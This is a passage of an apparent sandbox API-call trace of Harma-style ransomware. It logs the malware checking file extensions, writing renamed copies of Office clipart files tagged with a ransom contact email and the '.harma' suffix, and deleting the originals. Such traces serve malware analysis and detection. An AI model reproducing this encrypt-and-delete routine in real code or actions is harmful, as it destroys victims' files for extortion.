Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.370] lstrlenW (lpString=".dbf") returned 4 [0168.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.370] lstrlenW (lpString=".1cd") returned 4 [0168.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.370] lstrlenW (lpString=".jpg") returned 4 [0168.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.370] lstrlenW (lpString=".doc") returned 4 [0168.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.370] lstrlenW (lpString=".docx") returned 5 [0168.370] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.370] lstrlenW (lpString=".pdf") returned 4 [0168.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.370] lstrlenW (lpString=".xls") returned 4 [0168.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.370] lstrlenW (lpString=".xlsx") returned 5 [0168.370] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.370] lstrlenW (lpString=".ppt") returned 4 [0168.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.370] lstrlenW (lpString=".zip") returned 4 [0168.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.370] lstrlenW (lpString=".rar") returned 4 [0168.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.371] lstrlenW (lpString=".bz2") returned 4 [0168.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.371] lstrlenW (lpString=".7z") returned 3 [0168.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.371] lstrlenW (lpString=".dbf") returned 4 [0168.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.371] lstrlenW (lpString=".1cd") returned 4 [0168.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.371] lstrlenW (lpString=".jpg") returned 4 [0168.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.371] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.371] lstrlenW (lpString="J0105398.WMF") returned 12 [0168.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.375] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3328) returned 1 [0168.375] CloseHandle (hObject=0x33c) returned 1 [0168.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0168.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.375] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.376] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.376] GetLastError () returned 0x0 [0168.376] ReadFile (in: hFile=0x33c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xd00, lpOverlapped=0x0) returned 1 [0168.436] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0168.438] ReadFile (in: hFile=0x33c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.438] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.438] SetEndOfFile (hFile=0x210) returned 1 [0168.439] CloseHandle (hObject=0x210) returned 1 [0168.439] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.439] SetEndOfFile (hFile=0x33c) returned 1 [0168.441] CloseHandle (hObject=0x33c) returned 1 [0168.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0168.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.564] lstrlenW (lpString=".doc") returned 4 [0168.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.564] lstrlenW (lpString=".docx") returned 5 [0168.564] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.564] lstrlenW (lpString=".pdf") returned 4 [0168.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.564] lstrlenW (lpString=".xls") returned 4 [0168.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.565] lstrlenW (lpString=".xlsx") returned 5 [0168.565] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.565] lstrlenW (lpString=".ppt") returned 4 [0168.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.565] lstrlenW (lpString=".zip") returned 4 [0168.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.565] lstrlenW (lpString=".rar") returned 4 [0168.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString=".bz2") returned 4 [0168.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString=".7z") returned 3 [0168.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.565] lstrlenW (lpString=".dbf") returned 4 [0168.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.565] lstrlenW (lpString=".1cd") returned 4 [0168.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.565] lstrlenW (lpString=".jpg") returned 4 [0168.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.565] lstrlenW (lpString=".doc") returned 4 [0168.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.565] lstrlenW (lpString=".docx") returned 5 [0168.565] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.565] lstrlenW (lpString=".pdf") returned 4 [0168.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.566] lstrlenW (lpString=".xls") returned 4 [0168.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.566] lstrlenW (lpString=".xlsx") returned 5 [0168.566] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.566] lstrlenW (lpString=".ppt") returned 4 [0168.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.566] lstrlenW (lpString=".zip") returned 4 [0168.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.566] lstrlenW (lpString=".rar") returned 4 [0168.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.566] lstrlenW (lpString=".bz2") returned 4 [0168.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.566] lstrlenW (lpString=".7z") returned 3 [0168.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.566] lstrlenW (lpString=".dbf") returned 4 [0168.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.566] lstrlenW (lpString=".1cd") returned 4 [0168.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0168.566] lstrlenW (lpString=".jpg") returned 4 [0168.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.567] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.567] lstrlenW (lpString="J0105414.WMF") returned 12 [0168.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.567] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6244) returned 1 [0168.567] CloseHandle (hObject=0x21c) returned 1 [0168.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0168.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.568] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.568] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.569] GetLastError () returned 0x0 [0168.569] ReadFile (in: hFile=0x21c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1864, lpOverlapped=0x0) returned 1 [0168.632] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0168.633] ReadFile (in: hFile=0x21c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.633] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.633] SetEndOfFile (hFile=0x3ac) returned 1 [0168.633] CloseHandle (hObject=0x3ac) returned 1 [0168.633] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.634] SetEndOfFile (hFile=0x21c) returned 1 [0168.636] CloseHandle (hObject=0x21c) returned 1 [0168.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0168.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.673] lstrlenW (lpString=".doc") returned 4 [0168.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.673] lstrlenW (lpString=".docx") returned 5 [0168.673] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.673] lstrlenW (lpString=".pdf") returned 4 [0168.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.673] lstrlenW (lpString=".xls") returned 4 [0168.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.673] lstrlenW (lpString=".xlsx") returned 5 [0168.673] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.673] lstrlenW (lpString=".ppt") returned 4 [0168.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.673] lstrlenW (lpString=".zip") returned 4 [0168.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.673] lstrlenW (lpString=".rar") returned 4 [0168.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.674] lstrlenW (lpString=".bz2") returned 4 [0168.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.674] lstrlenW (lpString=".7z") returned 3 [0168.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.674] lstrlenW (lpString=".dbf") returned 4 [0168.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.674] lstrlenW (lpString=".1cd") returned 4 [0168.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.674] lstrlenW (lpString=".jpg") returned 4 [0168.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.674] lstrlenW (lpString=".doc") returned 4 [0168.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.674] lstrlenW (lpString=".docx") returned 5 [0168.674] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.674] lstrlenW (lpString=".pdf") returned 4 [0168.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.675] lstrlenW (lpString=".xls") returned 4 [0168.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.675] lstrlenW (lpString=".xlsx") returned 5 [0168.675] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.675] lstrlenW (lpString=".ppt") returned 4 [0168.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.675] lstrlenW (lpString=".zip") returned 4 [0168.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.675] lstrlenW (lpString=".rar") returned 4 [0168.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.675] lstrlenW (lpString=".bz2") returned 4 [0168.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.675] lstrlenW (lpString=".7z") returned 3 [0168.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.675] lstrlenW (lpString=".dbf") returned 4 [0168.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.675] lstrlenW (lpString=".1cd") returned 4 [0168.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0168.675] lstrlenW (lpString=".jpg") returned 4 [0168.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.676] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.676] lstrlenW (lpString="J0105506.WMF") returned 12 [0168.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.676] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2912) returned 1 [0168.676] CloseHandle (hObject=0x3ac) returned 1 [0168.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0168.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.677] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.677] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.678] GetLastError () returned 0x0 [0168.678] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xb60, lpOverlapped=0x0) returned 1 [0168.738] WriteFile (in: hFile=0x384, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xb70, lpOverlapped=0x0) returned 1 [0168.739] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.739] WriteFile (in: hFile=0x384, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.739] SetEndOfFile (hFile=0x384) returned 1 [0168.868] CloseHandle (hObject=0x384) returned 1 [0168.868] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.868] SetEndOfFile (hFile=0x3ac) returned 1 [0168.870] CloseHandle (hObject=0x3ac) returned 1 [0168.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.885] lstrlenW (lpString=".doc") returned 4 [0168.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".docx") returned 5 [0168.885] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.885] lstrlenW (lpString=".pdf") returned 4 [0168.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".xls") returned 4 [0168.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.885] lstrlenW (lpString=".xlsx") returned 5 [0168.885] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.885] lstrlenW (lpString=".ppt") returned 4 [0168.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.885] lstrlenW (lpString=".zip") returned 4 [0168.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.885] lstrlenW (lpString=".rar") returned 4 [0168.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".bz2") returned 4 [0168.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".7z") returned 3 [0168.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.885] lstrlenW (lpString=".dbf") returned 4 [0168.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.885] lstrlenW (lpString=".1cd") returned 4 [0168.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.886] lstrlenW (lpString=".jpg") returned 4 [0168.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft 